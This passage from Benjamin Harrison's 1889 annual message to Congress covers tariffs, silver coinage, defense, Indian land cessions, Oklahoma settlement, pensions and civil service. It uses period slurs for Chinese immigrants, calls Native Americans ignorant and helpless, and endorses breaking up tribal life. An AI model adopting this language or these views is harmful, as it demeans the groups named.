promptly decided.The preparation of a new schedule of customs duties is a matter of great\ndelicacy because of its direct effect upon the business of the country, and\nof great difficulty by reason of the wide divergence of opinion as to the\nobjects that may properly be promoted by such legislation. Some disturbance\nof business may perhaps result from the consideration of this subject by\nCongress, but this temporary ill effect will be reduced to the minimum by\nprompt action and by the assurance which the country already enjoys that\nany necessary changes will be so made as not to impair the just and\nreasonable protection of our home industries. The inequalities of the law\nshould be adjusted, but the protective principle should be maintained and\nfairly applied to the products of our farms as well as of our shops. These\nduties necessarily have relation to other things besides the public\nrevenues. We can not limit their effects by fixing our eyes on the public\nTreasury alone. They have a direct relation to home production, to work, to\nwages, and to the commercial independence of our country, and the wise and\npatriotic legislator should enlarge the field of his vision to include all\nof these. The necessary reduction in our public revenues can, I am sure, be\nmade without making the smaller burden more onerous than the larger by\nreason of the disabilities and limitations which the process of reduction\nputs upon both capital and labor. The free list can very safely be extended\nby placing thereon articles that do not offer injurious competition to such\ndomestic products as our home labor can supply. The removal of the internal\ntax upon tobacco would relieve an important agricultural product from a\nburden which was imposed only because our revenue from customs duties was\ninsufficient for the public needs. If safe provision against fraud can be\ndevised, the removal of the tax upon spirits used in the arts and in\nmanufactures would also offer an unobjectionable method of reducing the\nsurplus.A table presented by the Secretary of the Treasury showing the amount of\nmoney of all kinds in circulation each year from 1878 to the present time\nis of interest. It appears that the amount of national-bank notes in\ncirculation has decreased during that period $114,109,729, of which\n$37,799,229 is chargeable to the last year. The withdrawal of bank\ncirculation will necessarily continue under existing conditions. It is\nprobable that the adoption of the suggestions made by the Comptroller of\nthe Currency, namely, that the minimum deposit of bonds for the\nestablishment of banks be reduced and that an issue of notes to the par\nvalue of the bonds be allowed, would help to maintain the bank circulation.\nBut while this withdrawal of bank notes has been going on there has been a\nlarge increase in the amount of gold and silver coin in circulation and in\nthe issues of gold and silver certificates.The total amount of money of all kinds in circulation on March 1, 1878, was\n$805,793,807, while on October 1, 1889, the total was $1,405,018,000. There\nwas an increase of $293,417,552 in gold coin, of $57,554,100 in standard\nsilver dollars, of $72,311,249 in gold certificates, of $276,619,715 in\nsilver certificates, and of $14,073,787 in United States notes, making a\ntotal of $713,976,403. There was during the same period a decrease of\n$114,109,729 in bank circulation and of $642,481 in subsidiary silver. The\nnet increase was $599,224,193. The circulation per capita has increased\nabout $5 during the time covered by the table referred to.The total coinage of silver dollars was on November 1, 1889, $343,638,001,\nof which $283,539,521 were in the Treasury vaults and $60,098,480 were in\ncirculation. Of the amount in the vaults $277,319,944 were represented by\noutstanding silver certificates, leaving $6,219,577 not in circulation and\nnot represented by certificates.The law requiring the purchase by the Treasury of $2,000,000 worth of\nsilver bullion each month, to be coined into silver dollars of 412 1/2\ngrains, has been observed by the Department, but neither the present\nSecretary nor any of his predecessors has deemed it safe to exercise the\ndiscretion given by law to increase the monthly purchases to $4,000,000.\nWhen the law was enacted (February 28, 1878) the price of silver in the\nmarket was $1.204 per ounce, making the bullion value of the dollar 93\ncents. Since that time the price has fallen as low as 91.2 cents per ounce,\nreducing the bullion value of the dollar to 70.6 cents. Within the last few\nmonths the market price has somewhat advanced, and on the 1st day of\nNovember last the bullion value of the silver dollar was 72 cents.The evil anticipations which have accompanied the coinage and use of the\nsilver dollar have not been realized. As a coin it has not had general use,\nand the public Treasury has been compelled to store it. But this is\nmanifestly owing to the fact that its paper representative is more\nconvenient. The general acceptance and the use of the silver certificate\nshow that silver has not been otherwise discredited. Some favorable\nconditions have contributed to maintain this practical equality in their\ncommercial use between the gold and silver dollars; but some of these are\ntrade conditions that statutory enactments do not control and of the\ncontinuance of which we can not be certain.I think it is clear that if we should make the coinage of silver at the\npresent ratio free we must expect that the difference in the bullion values\nof the gold and silver dollars will be taken account of in commercial\ntransactions; and I fear the same result would follow any considerable\nincrease of the present rate of coinage. Such a result would be\ndiscreditable to our financial management and disastrous to all business\ninterests. We should not tread the dangerous edge of such a peril. And,\nindeed, nothing more harmful could happen to the silver interests. Any safe\nlegislation upon this subject must secure the equality of the two coins in\ntheir commercial uses.I have always been an advocate of the use of silver in our currency. We are\nlarge producers of that metal, and should not discredit it. To the plan\nwhich will be presented by the Secretary of the Treasury for the issuance\nof notes or certificates upon the deposit of silver bullion at its market\nvalue I have been able to give only a hasty examination, owing to the press\nof other matters and to the fact that it has been so recently formulated.\nThe details of such a law require careful consideration, but the general\nplan suggested by him seems to satisfy the purpose--to continue the use of\nsilver in connection with our currency and at the same time to obviate the\ndanger of which I have spoken. At a later day I may communicate further\nwith Congress upon this subject.The enforcement of the Chinese exclusion act has been found to be very\ndifficult on the northwestern frontier. Chinamen landing at Victoria find\nit easy to pass our border, owing to the impossibility with the force at\nthe command of the customs officers of guarding so long an inland line. The\nSecretary of the Treasury has authorized the employment of additional\nofficers, who will be assigned to this duty, and every effort will be made\nto enforce the law. The Dominion exacts a head tax of $50 for each Chinaman\nlanded, and when these persons, in fraud of our law, cross into our\nterritory and are apprehended our officers do not know what to do with\nthem, as the Dominion authorities will not suffer them to be sent back\nwithout a second payment of the tax. An effort will be made to reach an\nunderstanding that will remove this difficulty.The proclamation required by section 3 of the act of March 2, 1889,\nrelating to the killing of seals and other fur-bearing animals, was issued\nby me on the 21st day of March, and a revenue vessel was dispatched to\nenforce the laws and protect the interests of the United States. The\nestablishment of a refuge station at Point Barrow, as directed by Congress,\nwas successfully accomplished.Judged by modern standards, we are practically without coast defenses. Many\nof the structures we have would enhance rather than diminish the perils of\ntheir garrisons if subjected to the fire of improved guns, and very few are\nso located as to give full effect to the greater range of such guns as we\nare now making for coast-defense uses. This general subject has had\nconsideration in Congress for some years, and the appropriation for the\nconstruction of large rifled guns made one year ago was, I am sure, the\nexpression of a purpose to provide suitable works in which these guns might\nbe mounted. An appropriation now made for that purpose would not advance\nthe completion of the works beyond our ability to supply them with fairly\neffective guns.The security of our coast cities against foreign attacks should not rest\naltogether in the friendly disposition of other nations. There should be a\nsecond line wholly in our own keeping. I very urgently recommend an\nappropriation at this session for the construction of such works in our\nmost exposed harbors.I approve the suggestion of the Secretary of War that provision be made for\nencamping companies of the National Guard in our coast works for a\nspecified time each year and for their training in the use of heavy guns.\nHis suggestion that an increase of the artillery force of the Army is\ndesirable is also, in this connection, commended to the consideration of\nCongress.The improvement of our important rivers and harbors should be promoted by\nthe necessary appropriations. Care should be taken that the Government is\nnot committed to the prosecution of works not of public and general\nadvantage and that the relative usefulness of works of that class is not\noverlooked. So far as this work can ever be said to be completed, I do not\ndoubt that the end would be sooner and more economically reached if fewer\nseparate works were undertaken at the same time, and those selected for\ntheir greater general interest were more rapidly pushed to completion. A\nwork once considerably begun should not be subjected to the risks and\ndeterioration which interrupted or insufficient appropriations necessarily\noccasion.The assault made by David S. Terry upon the person of Justice Field, of the\nSupreme Court of the United States, at Lathtop, Cal., in August last, and\nthe killing of the assailant by a deputy United States marshal who had been\ndeputed to accompany Justice Field and to protect him from anticipated\nviolence at the hands of Terry, in connection with the legal proceedings\nwhich have followed, suggest questions which, in my judgment, are worthy of\nthe attention of Congress.I recommend that more definite provision be made by law not only for the\nprotection of Federal officers, but for a full trial of such cases in the\nUnited States courts. In recommending such legislation I do not at all\nimpeach either the general adequacy of the provision made by the State laws\nfor the protection of all citizens or the general good disposition of those\ncharged with the execution of such laws to give protection to the officers\nof the United States. The duty of protecting its officers, as such, and of\npunishing those who assault them on account of their official acts should\nnot be devolved expressly or by acquiescence upon the local authorities.Events which have been brought to my attention happening in other parts of\nthe country have also suggested the propriety of extending by legislation\nfuller protection to those who may be called as witnesses in the courts of\nthe United States. The law compels those who are supposed to have knowledge\nof public offenses to attend upon our courts and grand juries and to give\nevidence. There is a manifest resulting duty that these witnesses shall be\nprotected from injury on account of their testimony. The investigations of\ncriminal offenses are often rendered futile and the punishment of crime\nimpossible by the intimidation of witnesses.The necessity of providing some more speedy method for disposing of the\ncases which now come for final adjudication to the Supreme Court becomes\nevery year more apparent and urgent. The plan of providing some\nintermediate courts having final appellate jurisdiction of certain classes\nof questions and cases has, I think, received a more general approval from\nthe bench and bar of the country than any other. Without attempting to\ndiscuss details, I recommend that provision be made for the establishment\nof such courts.The salaries of the judges of the district courts in many of the districts\nare, in my judgment, inadequate. I recommend that all such salaries now\nbelow $5,000 per annum be increased to that amount. It is quite true that\nthe amount of labor performed by these judges is very unequal, but as they\ncan not properly engage in other pursuits to supplement their incomes the\nsalary should be such in all cases as to provide an independent and\ncomfortable support.Earnest attention should be given by Congress to a consideration of the\nquestion how far the restraint of those combinations of capital commonly\ncalled \"trusts\" is matter of Federal jurisdiction. When organized, as they\noften are, to crush out all healthy competition and to monopolize the\nproduction or sale of an article of commerce and general necessity, they\nare dangerous conspiracies against the public good, and should be made the\nsubject of prohibitory and even penal legislation.The subject of an international copyright has been frequently commended to\nthe attention of Congress by my predecessors. The enactment of such a law\nwould be eminently wise and just.Our naturalization laws should be so revised as to make the inquiry into\nthe moral character and good disposition toward our Government of the\npersons applying for citizenship more thorough. This can only be done by\ntaking fuller control of the examination, by fixing the times for hearing\nsuch applications, and by requiring the presence of some one who shall\nrepresent the Government in the inquiry. Those who are the avowed enemies\nof social order or who come to our shores to swell the injurious influence\nand to extend the evil practices of any association that defies our laws\nshould not only be denied citizenship, but a domicile.The enactment of a national bankrupt law of a character to be a permanent\npart of our general legislation is desirable. It should be simple in its\nmethods and inexpensive in its administration.The report of the Postmaster-General not only exhibits the operations of\nthe Department for the last fiscal year, but contains many valuable\nsuggestions for the improvement and extension of the service, which are\ncommended to your attention. No other branch of the Government has so close\na contact with the daily life of the people. Almost everyone uses the\nservice it offers, and every hour gained in the transmission of the great\ncommercial mails has an actual and possible value that only those engaged\nin trade can understand.The saving of one day in the transmission of the mails between New York and\nSan Francisco, which has recently been accomplished, is an incident worthy\nof mention.The plan suggested of a supervision of the post-offices in separate\ndistricts that shall involve instruction and suggestion and a rating of the\nefficiency of the postmasters would, I have no doubt, greatly improve the\nservice.A pressing necessity exists for the erection of a building for the joint\nuse of the Department and of the city post-office. The Department was\npartially relieved by renting .outside quarters for a part of its force,\nbut it is again overcrowded. The building used by the city office never was\nfit for the purpose, and is now inadequate and unwholesome.The unsatisfactory condition of the law relating to the transmission\nthrough the mails of lottery advertisements and remittances is clearly\nstated by the Postmaster-General, and his suggestion as to amendments\nshould have your favorable consideration.The report of the Secretary of the Navy shows a reorganization of the\nbureaus of the Department that will, I do not doubt, promote the efficiency\nof each.In general, satisfactory progress has been made in the construction of the\nnew ships of war authorized by Congress. The first vessel of the new Navy,\nthe Dolphin, was subjected to very severe trial tests and to very much\nadverse criticism; but it is gratifying to be able to state that a cruise\naround the world, from which she has recently returned, has demonstrated\nthat she is a first-class vessel of her rate.The report of the Secretary shows that while the effective force of the\nNavy is rapidly increasing by reason of the improved build and armament of\nthe new ships, the number of our ships fit for sea duty grows very slowly.\nWe had on the 4th of March last 37 serviceable ships, and though 4 have\nsince been added to the list, the total has not been increased, because in\nthe meantime 4 have been lost or condemned. Twenty-six additional vessels\nhave been authorized and appropriated for; but it is probable that when\nthey are completed our list will only be increased to 42--a gain of 5. The\nold wooden ships are disappearing almost as fast as the new vessels are\nadded. These facts carry their own argument. One of the new ships may in\nfighting strength be equal to two of the old, but it can not do the\ncruising duty of two. It is important, therefore, that we should have a\nmore rapid increase in the number of serviceable ships. I concur in the\nrecommendation of the Secretary that the construction of 8 armored ships, 3\ngunboats, and 5 torpedo boats be authorized.An appalling calamity befell three of our naval vessels on duty at the\nSamoan Islands, in the harbor of Apia, in March last, involving the loss of\n4 officers and 47 seamen, of two vessels, the Trenton and the Vandalia, and\nthe disabling of a third, the Nipsic. Three vessels of the German navy,\nalso in the harbor, shared with our ships the force of the hurricane and\nsuffered even more heavily. While mourning the brave officers and men who\ndied facing with high resolve perils greater than those of battle, it is\nmost gratifying to state that the credit of the American Navy for\nseamanship, courage, and generosity was magnificently sustained in the\nstorm-beaten harbor of Apia.The report of the Secretary of the Interior exhibits the transactions of\nthe Government with the Indian tribes. Substantial progress has been made\nin the education of the children of school age and in the allotment of\nlands to adult Indians. It is to be regretted that the policy of breaking\nup the tribal relation and of dealing with the Indian as an individual did\nnot appear earlier in our legislation. Large reservations held in common\nand the maintenance of the authority of the chiefs and headmen have\ndeprived the individual of every incentive to the exercise of thrift, and\nthe annuity has contributed an affirmative impulse toward a state of\nconfirmed pauperism.Our treaty stipulations should be observed with fidelity and our\nlegislation should be highly considerate of the best interests of an\nignorant and helpless people. The reservations are now generally surrounded\nby white settlements. We can no longer push the Indian back into the\nwilderness, and it remains only by every suitable agency to push him upward\ninto the estate of a self-supporting and responsible citizen. For the adult\nthe first step is to locate him upon a farm, and for the child to place him\nin a school.School attendance should be promoted by every moral agency, and those\nfailing should be compelled. The national schools for Indians have been\nvery successful and should be multiplied, and as far as possible should be\nso organized and conducted as to facilitate the transfer of the schools to\nthe States or Territories in which they are located when the Indians in a\nneighborhood have accepted citizenship and have become otherwise fitted for\nsuch a transfer. This condition of things will be attained slowly, but it\nwill be hastened by keeping it in mind; and in the meantime that\ncooperation between the Government and the mission schools which has\nwrought much good should be cordially and impartially maintained.The last Congress enacted two distinct laws relating to negotiations with\nthe Sioux Indians of Dakota for a relinquishment of a portion of their\nlands to the United States and for dividing the remainder into separate\nreservations. Both were approved on the same day--March 2. The one\nsubmitted to the Indians a specific proposition; the other (section 3 of\nthe Indian appropriation act) authorized the President to appoint three\ncommissioners to negotiate with these Indians for the accomplishment of the\nsame general purpose, and required that any agreements made should be\nsubmitted to Congress for ratification.On the 16th day of April last I appointed Hon. Charles Foster, of Ohio,\nHon. William Warner, of Missouri, and Major-General George Crook, of the\nUnited States Army, commissioners under the last-named law. They were,\nhowever, authorized and directed first to submit to the Indians the\ndefinite proposition made to them by the act first mentioned, and only in\nthe event of a failure to secure the assent of the requisite number to that\nproposition to open negotiations for modified terms under the other act.\nThe work of the commission was prolonged and arduous, but the assent of the\nrequisite number was, it is understood, finally obtained to the proposition\nmade by Congress, though the report of the commission has not yet been\nsubmitted. In view of these facts, I shall not, as at present advised, deem\nit necessary to submit the agreement to Congress for ratification, but it\nwill in due course be submitted for information. This agreement releases to\nthe United States about 9,000,000 acres of land.The commission provided for by section 14 of the Indian appropriation bill\nto negotiate with the Cherokee Indians and all other Indians owning or\nclaiming lands lying west of the ninety-sixth degree of longitude for the\ncession to the United States of all such lands was constituted by the\nappointment of Hon. Lucius Fairchild, of Wisconsin, Hon. John F. Hartranft,\nof Pennsylvania, and Hon. Alfred M. Wilson, of Arkansas, and organized on\nJune 29 last. Their first conference with the representatives of the\nCherokees was held at Tahlequah July 29, with no definite results. General\nJohn F. Hartranft, of Pennsylvania, was prevented by ill health from taking\npart in the conference. His death, which occurred recently, is justly and\ngenerally lamented by a people he had served with conspicuous gallantry in\nwar and with great fidelity in peace. The vacancy thus created was filled\nby the appointment of Hon. Warren G. Sayre, of Indiana.A second conference between the commission and the Cherokees was begun\nNovember 6, but no results have yet been obtained, nor is it believed that\na conclusion can be immediately expected. The cattle syndicate now\noccupying the lands for grazing purposes is clearly one of the agencies\nresponsible for the obstruction of our negotiations with the Cherokees. The\nlarge body of agricultural lands constituting what is known as the\n\"Cherokee Outlet\" ought not to be, and, indeed, can not long be, held for\ngrazing and for the advantage of a few against the public interests and the\nbest advantage of the Indians themselves. The United States has now under\nthe treaties certain rights in these lands. These will not be used\noppressively, but it can not be allowed that those who by sufferance occupy\nthese lands shall interpose to defeat the wise and beneficent purposes of\nthe Government. I can not but believe that the advantageous character of\nthe offer made by the United States to the Cherokee Nation for a full\nrelease of these lands as compared with other suggestions now made to them\nwill yet obtain for it a favorable consideration.Under the agreement made between the United States and the Muscogee (or\nCreek) Nation of Indians on the 19th day of January, 1889, an absolute\ntitle was secured by the United States to about 3,500,000 acres of land.\nSection 12 of the general Indian appropriation act approved March 2, 1889,\nmade provision for the purchase by the United States from the Seminole\ntribe of a certain portion of their lands. The delegates of the Seminole\nNation, having first duly evidenced to me their power to act in that\nbehalf, delivered a proper release or conveyance to the United States of\nall the lands mentioned in the act, which was accepted by me and certified\nto be in compliance with the statute.By the terms of both the acts referred to all the lands so purchased were\ndeclared to be a part of the public domain and open to settlement under the\nhomestead law. But of the lands embraced in these purchases, being in the\naggregate about 5,500,000 acres, 3,500,000 acres had already, under the\nterms of the treaty of 1866, been acquired by the United States for the\npurpose of settling other Indian tribes thereon and had been appropriated\nto that purpose. The land remaining and available for settlement consisted\nof 1,887,796 acres, surrounded on all sides by lands in the occupancy of\nIndian tribes. Congress had provided no civil government for the people who\nwere to be invited by my proclamation to settle upon these lands, except as\nthe new court which had been established at Muscogee or the United States\ncourts in some of the adjoining States had power to enforce the general\nlaws of the United States.In this condition of things I was quite reluctant to open the lands to\nsettlement; but in view of the fact that several thousand persons, many of\nthem with their families, had gathered upon the borders of the Indian\nTerritory with a view to securing homesteads on the ceded lands, and that\ndelay would involve them in much loss and suffering, I did on the 23d day\nof March last issue a proclamation declaring that the lands therein\ndescribed would be open to settlement under the provisions of the law on\nthe 22d day of April following at 12 o'clock noon. Two land districts had\nbeen established and the offices were opened for the transaction of\nbusiness when the appointed time arrived.It is much to the credit of the settlers that they very generally observed\nthe limitation as to the time when they might enter the Territory. Care\nwill be taken that those who entered in violation of the law do not secure\nthe advantage they unfairly sought. There was a good deal of apprehension\nthat the strife for locations would result in much violence and bloodshed,\nbut happily these anticipations were not realized. It is estimated that\nthere are now in the Territory about 60,000 people, and several\nconsiderable towns have sprung up, for which temporary municipal\ngovernments have been organized. Guthrie is said to have now a population\nof almost 8,000. Eleven schools and nine churches have been established,\nand three daily and five weekly newspapers are published in this city,\nwhose charter and ordinances have only the sanction of the voluntary\nacquiescence of the people from day to day.Oklahoma City has a population of about 5,000, and is proportionately as\nwell provided as Guthrie with churches, schools, and newspapers. Other\ntowns and villages having populations of from 100 to 1,000 are scattered\nover the Territory.In order to secure the peace of this new community in the absence of civil\ngovernment, I directed General Merritt, commanding the Department of the\nMissouri, to act in conjunction with the marshals of the United States to\npreserve the peace, and upon their requisition to use the troops to aid\nthem in executing warrants and in quieting any riots or breaches of the\npeace that might occur. He was further directed to use his influence to\npromote good order and to avoid any conflicts between or with the settlers.\nBelieving that the introduction and sale of liquors where no legal\nrestraints or regulations existed would endanger the public peace, and in\nview of the fact that such liquors must first be introduced into the Indian\nreservations before reaching the white settlements, I further directed the\ngeneral commanding to enforce the laws relating to the introduction of\nardent spirits into the Indian country.The presence of the troops has given a sense of security to the\nwell-disposed citizens and has tended to restrain the lawless. In one\ninstance the officer in immediate command of the troops went further than I\ndeemed justifiable in supporting the de facto municipal government of\nGuthrie, and he was so informed, and directed to limit the interference of\nthe military to the support of the marshals on the lines indicated in the\noriginal order. I very urgently recommend that Congress at once provide a\nTerritorial government for these people. Serious questions, which may at\nany time lead to violent outbreaks, are awaiting the institution of courts\nfor their peaceful adjustment. The American genius for self-government has\nbeen well illustrated in Oklahoma; but it is neither safe nor wise to leave\nthese people longer to the expedients which have temporarily served them.Provision should be made for the acquisition of title to town lots in the\ntowns now established in Alaska, for locating town sites, and for the\nestablishment of municipal governments. Only the mining laws have been\nextended to that Territory, and no other form of title to lands can now be\nobtained. The general land laws were framed with reference to the\ndisposition of agricultural lands, and it is doubtful if their operation in\nAlaska would be beneficial.We have fortunately not extended to Alaska the mistaken policy of\nestablishing reservations for the Indian tribes, and can deal with them\nfrom the beginning as individuals with, I am sure, better results; but any\ndisposition of the public lands and any regulations relating to timber and\nto the fisheries should have a kindly regard to their interests. Having no\npower to levy taxes, the people of Alaska are wholly dependent upon the\nGeneral Government, to whose revenues the seal fisheries make a large\nannual contribution. An appropriation for education should neither be\noverlooked nor stinted.The smallness of the population and the great distances between the\nsettlements offer serious obstacles to the establishment of the usual\nTerritorial form of government. Perhaps the organization of several\nsub-districts with a small municipal council of limited powers for each\nwould be safe and useful.Attention is called in this connection to the suggestions of the Secretary\nof the Treasury relating to the establishment of another port of entry in\nAlaska and of other needed customs facilities and regulations.In the administration of the land laws the policy of facilitating in every\nproper way the adjustment of the honest claims of individual settlers upon\nthe public lands has been pursued. The number of pending cases had during\nthe preceding Administration been greatly increased under the operation of\norders for a time suspending final action in a large part of the cases\noriginating in the West and Northwest, and by the subsequent use of unusual\nmethods of examination. Only those who are familiar with the conditions\nunder which our agricultural lands have been settled can appreciate the\nserious and often fatal consequences to the settler of a policy that puts\nhis title under suspicion or delays the issuance of his patent. While care\nis taken to prevent and to expose fraud, it should not be imputed without\nreason.The manifest purpose of the homestead and preemption laws was to promote\nthe settlement of the public domain by persons having a bona fide intent to\nmake a home upon the selected lands. Where this intent is well established\nand the requirements of the law have been substantially complied with, the\nclaimant is entitled to a prompt and friendly consideration of his case;\nbut where there is reason to believe that the claimant is the mere agent of\nanother who is seeking to evade a law intended to promote small holdings\nand to secure by fraudulent methods large tracts of timber and other lands,\nboth principal and agent should not only be thwarted in their fraudulent\npurpose, but should be made to feel the full penalties of our criminal\nstatutes. The laws should be so administered as not to confound these two\nclasses and to visit penalties only upon the latter.The unsettled state of the titles to large bodies of lands in the\nTerritories of New Mexico and Arizona has greatly retarded the development\nof those Territories. Provision should be made by law for the prompt trial\nand final adjustment before a judicial tribunal or commission of all claims\nbased upon Mexican grants. It is not just to an intelligent and\nenterprising people that their peace should be disturbed and their\nprosperity retarded by these old contentions. I express the hope that\ndifferences of opinion as to methods may yield to the urgency of the case.The law now provides a pension for every soldier and sailor who was\nmustered into the service of the United States during the Civil War and is\nnow suffering from wounds or disease having an origin in the service and in\nthe line of duty. Two of the three necessary facts, viz, muster and\ndisability, are usually susceptible of easy proof; but the third, origin in\nthe service, is often difficult and in many deserving cases impossible to\nestablish. That very many of those who endured the hardships of our most\nbloody and arduous campaigns are now disabled from diseases that had a real\nbut not traceable origin in the service I do not doubt. Besides these there\nis another class composed of men many of whom served an enlistment of three\nfull years and of reenlisted veterans who added a fourth year of service,\nwho escaped the casualties of battle and the assaults of disease, who were\nalways ready for any detail, who were in every battle line of their\ncommand, and were mustered out in sound health, and have since the close of\nthe war, while fighting with the same indomitable and independent spirit\nthe contests of civil life, been overcome by disease or casualty.I am not unaware that the pension roll already involves a very large annual\nexpenditure; neither am I deterred by that fact from recommending that\nCongress grant a pension to such honorably discharged soldiers and sailors\nof the Civil War as, having rendered substantial service during the war,\nare now dependent upon their own labor for a maintenance and by disease or\ncasualty are incapacitated from earning it. Many of the men who would be\nincluded in this form of relief are now dependent upon public aid, and it\ndoes not, in my judgment, consist with the national honor that they shall\ncontinue to subsist upon the local relief given indiscriminately to paupers\ninstead of upon the special and generous provision of the nation they\nserved so gallantly and unselfishly. Our people will, I am sure, very\ngenerally approve such legislation. And I am equally sure that the\nsurvivors of the Union Army and Navy will feel a grateful sense of relief\nwhen this worthy and suffering class of their comrades is fairly cared\nfor.There are some manifest inequalities in the existing law that should be\nremedied. To some of these the Secretary of the Interior has called\nattention.It is gratifying to be able to state that by the adoption of new and better\nmethods in the War Department the calls of the Pension Office for\ninformation as to the military and hospital records of pension claimants\nare now promptly answered and the injurious and vexatious delays that have\nheretofore occurred are entirely avoided. This will greatly facilitate the\nadjustment of all pending claims.The advent of four new States--South Dakota, North Dakota, Montana, and\nWashington--into the Union under the Constitution in the same month, and\nthe admission of their duly chosen representatives to our National Congress\nat the same session, is an event as unexampled as it is interesting.The certification of the votes cast and of the constitutions adopted in\neach of the States was filed with me, as required by the eighth section of\nthe act of February 22, 1889, by the governors of said Territories,\nrespectively. Having after a careful examination found that the several\nconstitutions and governments were republican in form and not repugnant to\nthe Constitution of the United States, that all the provisions of the act\nof Congress had been complied with, and that a majority of the votes cast\nin each of said proposed States was in favor of the adoption of the\nconstitution submitted therein, I did so declare by a separate proclamation\nas to each--as to North Dakota and South Dakota on Saturday, November 2; as\nto Montana on Friday, November 8, and as to Washington on Monday, November\n11.Each of these States has within it resources the development of which will\nemploy the energies of and yield a comfortable subsistence to a great\npopulation. The smallest of these new States, Washington, stands twelfth,\nand the largest, Montana, third, among the forty-two in area. The people of\nthese States are already well-trained, intelligent, and patriotic American\ncitizens, having common interests and sympathies with those of the older\nStates and a common purpose to defend the integrity and uphold the honor of\nthe nation.The attention of the Interstate Commerce Commission has been called to the\nurgent need of Congressional legislation for the better protection of the\nlives and limbs of those engaged in operating the great interstate freight\nlines of the country, and especially of the yardmen and brakemen. A\npetition signed by nearly 10,000 railway brakemen was presented to the\nCommission asking that steps might be taken to bring about the use of\nautomatic brakes and couplers on freight cars.At a meeting of State railroad commissioners and their accredited\nrepresentatives held at Washington in March last upon the invitation of the\nInterstate Commerce Commission a resolution was unanimously adopted urging\nthe Commission \"to consider what can be done to prevent the loss of life\nand limb in coupling and uncoupling freight cars and in handling the brakes\nof such cars.\" During the year ending June 30, 1888, over 2,000 railroad\nemployees were killed in service and more than 20,000 injured. It is\ncompetent, I think, for Congress to require uniformity in the construction\nof cars used in interstate commerce and the use of improved safety\nappliances upon such trains. Time will be necessary to make the needed\nchanges, but an earnest and intelligent beginning should be made at once.\nIt is a reproach to our civilization that any class of American workmen\nshould in the pursuit of a necessary and useful vocation be subjected to a\nperil of life and limb as great as that of a soldier in time of war.The creation of an Executive Department to be known as the Department of\nAgriculture by the act of February 9 last was a wise and timely response to\na request which had long been respectfully urged by the farmers of the\ncountry; but much remains to be done to perfect the organization of the\nDepartment so that it may fairly realize the expectations which its\ncreation excited. In this connection attention is called to the suggestions\ncontained in the report of the Secretary, which is herewith submitted. The\nneed of a law officer for the Department such as is provided for the other\nExecutive Departments is manifest. The failure of the last Congress to make\nthe usual provision for the publication of the annual report should be\npromptly remedied. The public interest in the report and its value to the\nfarming community, I am sure, will not be diminished under the new\norganization of the Department.I recommend that the weather service be separated from the War Department\nand established as a bureau in the Department of Agriculture. This will\ninvolve an entire reorganization both of the Weather Bureau and of the\nSignal Corps, making of the first a purely civil organization and of the\nother a purely military staff corps. The report of the Chief Signal Officer\nshows that the work of the corps on its military side has been\ndeteriorating.The interests of the people of the District of Columbia should not be lost\nsight of in the pressure for consideration of measures affecting the whole\ncountry. Having no legislature of its own, either municipal or general, its\npeople must look to Congress for the regulation of all those concerns that\nin the States are the subject of local control. Our whole people have an\ninterest that the national capital should be made attractive and beautiful,\nand, above all, that its repute for social order should be well maintained.\nThe laws regulating the sale of intoxicating drinks in the District should\nbe revised with a view to bringing the traffic under stringent limitations\nand control.In execution of the power conferred upon me by the act making\nappropriations for the expenses of the District of Columbia for the year\nending June 30, 1890, I did on the 17th day of August last appoint Rudolph\nHering, of New York, Samuel M. Gray, of Rhode Island, and Frederick P.\nStearns, of Massachusetts, three eminent sanitary engineers, to examine and\nreport upon the system of sewerage existing in the District of Columbia.\nTheir report, which is not yet completed, will be in due course submitted\nto Congress.The report of the Commissioners of the District is herewith transmitted,\nand the attention of Congress is called to the suggestions contained\ntherein.The proposition to observe the four hundredth anniversary of the discovery\nof America by the opening of a world's fair or exposition in some one of\nour great cities will be presented for the consideration of Congress. The\nvalue and interest of such an exposition may well claim the promotion of\nthe General Government.On the 4th of March last the Civil Service Commission had but a single\nmember. The vacancies were filled on the 7th day of May, and since then the\nCommissioners have been industriously, though with an inadequate force,\nengaged in executing the law. They were assured by me that a cordial\nsupport would be given them in the faithful and impartial enforcement of\nthe statute and of the rules and regulations adopted in aid of it.Heretofore the book of eligibles has been closed to everyone, except as\ncertifications were made upon the requisition of the appointing officers.\nThis secrecy was the source of much suspicion and of many charges of\nfavoritism in the administration of the law. What is secret is always\nsuspected; what is open can be judged. The Commission, with the full\napproval of all its members, has now opened the list of eligibles to the\npublic. The eligible lists for the classified post-offices and\ncustom-houses are now publicly posted in the respective offices, as are\nalso the certifications for appointments. The purpose of the civil-service\nlaw was absolutely to exclude any other consideration in connection with\nappointments under it than that of merit as tested by the examinations. The\nbusiness proceeds upon the theory that both the examining boards and the\nappointing officers are absolutely ignorant as to the political views and\nassociations of all persons on the civil-service lists. It is not too much\nto say, however, that some recent Congressional investigations have\nsomewhat shaken public confidence in the impartiality of the selections for\nappointment.The reform of the civil service will make no safe or satisfactory advance\nuntil the present law and its equal administration are well established in\nthe confidence of the people. It will be my pleasure, as it is my duty, to\nsee that the law is executed with firmness and impartiality. If some of its\nprovisions have been fraudulently evaded by appointing officers, our\nresentment should not suggest the repeal of the law, but reform in its\nadministration. We should have one view of the matter, and hold it with a\nsincerity that is not affected by the consideration that the party to which\nwe belong is for the time in power.My predecessor, on the 4th day of January, 1889, by an Executive order to\ntake effect March 15, brought the Railway Mail Service under the operation\nof the civil-service law. Provision was made that the order should take\neffect sooner in any State where an eligible list was sooner obtained. On\nthe 11th day of March Mr. Lyman, then the only member of the Commission,\nreported to me in writing that it would not be possible to have the list of\neligibles ready before May 1, and requested that the taking effect of the\norder be postponed until that time, which was done, subject to the same\nprovision contained in the original order as to States in which an eligible\nlist was sooner obtained.As a result of the revision of the rules, of the new classification, and of\nthe inclusion of the Railway Mail Service, the work of the Commission has\nbeen greatly increased, and the present clerical force is found to be\ninadequate. I recommend that the additional clerks asked by the Commission\nbe appropriated for.The duty of appointment is devolved by the Constitution or by the law, and\nthe appointing officers are properly held to a high responsibility in its\nexercise. The growth of the country and the consequent increase of the\ncivil list have magnified this function of the Executive disproportionally.\nIt can not be denied, however, that the labor connected with this necessary\nwork is increased, often to the point of actual distress, by the sudden and\nexcessive demands that are made upon an incoming Administration for\nremovals and appointments. But, on the other hand, it is not true that\nincumbency is a conclusive argument for continuance in office.\nImpartiality, moderation, fidelity to public duty, and a good attainment in\nthe discharge of it must be added before the argument is complete. When\nthose holding administrative offices so conduct themselves as to convince\njust political opponents that no party consideration or bias affects in any\nway the discharge of their public duties, we can more easily stay the\ndemand for removals.I am satisfied that both in and out of the classified service great benefit\nwould accrue from the adoption of some system by which the officer 